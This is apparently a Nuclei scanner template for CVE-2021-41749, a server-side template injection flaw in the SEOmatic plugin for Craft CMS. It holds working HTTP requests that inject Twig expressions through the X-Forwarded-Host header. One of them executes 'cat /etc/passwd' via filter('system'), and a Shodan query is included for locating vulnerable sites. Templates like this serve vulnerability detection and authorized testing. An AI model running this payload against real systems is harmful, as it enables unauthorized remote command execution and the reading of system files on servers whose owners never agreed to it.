60 lines
2.1 KiB
YAML
60 lines
2.1 KiB
YAML
id: CVE-2021-41749
|
|
|
|
info:
|
|
name: CraftCMS SEOmatic - Server-Side Template Injection
|
|
author: iamnoooob,ritikchaddha
|
|
severity: critical
|
|
description: |
|
|
In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution.
|
|
reference:
|
|
- https://github.com/nystudio107/craft-seomatic/commit/3fee7d50147cdf3f999cfc1e04cbc3fb3d9f2f7d
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-41749
|
|
- https://github.com/nystudio107/craft-seomatic/blob/develop/CHANGELOG.md
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-41749
|
|
cwe-id: CWE-94
|
|
epss-score: 0.2727
|
|
epss-percentile: 0.96295
|
|
cpe: cpe:2.3:a:nystudio107:seomatic:*:*:*:*:*:craft_cms:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: nystudio107
|
|
product: seomatic
|
|
framework: craft_cms
|
|
shodan-query: 'X-Powered-By: Craft CMS html:"SEOmatic"'
|
|
tags: cve,cve2021,craftcms,cms,ssti
|
|
variables:
|
|
num1: "{{rand_int(40000, 44800)}}"
|
|
num2: "{{rand_int(40000, 44800)}}"
|
|
result: "{{to_number(num1)*to_number(num2)}}"
|
|
marker: "{{randstr}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |+
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-Forwarded-Host: {{Hostname}}/{{marker}}{{{{num1}}*{{num2}}}}
|
|
Cache-Control: max-age=0
|
|
|
|
- |+
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-Forwarded-Host: xxx{{['cat /etc/passwd']|filter('system')}}bbb
|
|
Cache-Control: max-age=0
|
|
|
|
skip-variables-check: true
|
|
stop-at-first-match: true
|
|
redirects: true
|
|
max-redirects: 2
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_1, "/{{marker}}{{result}}") || regex("root:.*:0:0:", body_2)'
|
|
- 'contains_any(body, "Craft CMS", "SEOmatic" ,"CRAFT_CSRF")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
# digest: 4a0a004730450220628e5c9777f0d4d61ac033e80ccc0f4b364e371415e3160b560235688f151a4f022100fa85f2c894890e5e867dc758e09626dc3f0298cd57daa321d0943a1c7360a949:922c64590222798bb761d5b6d8e72950 |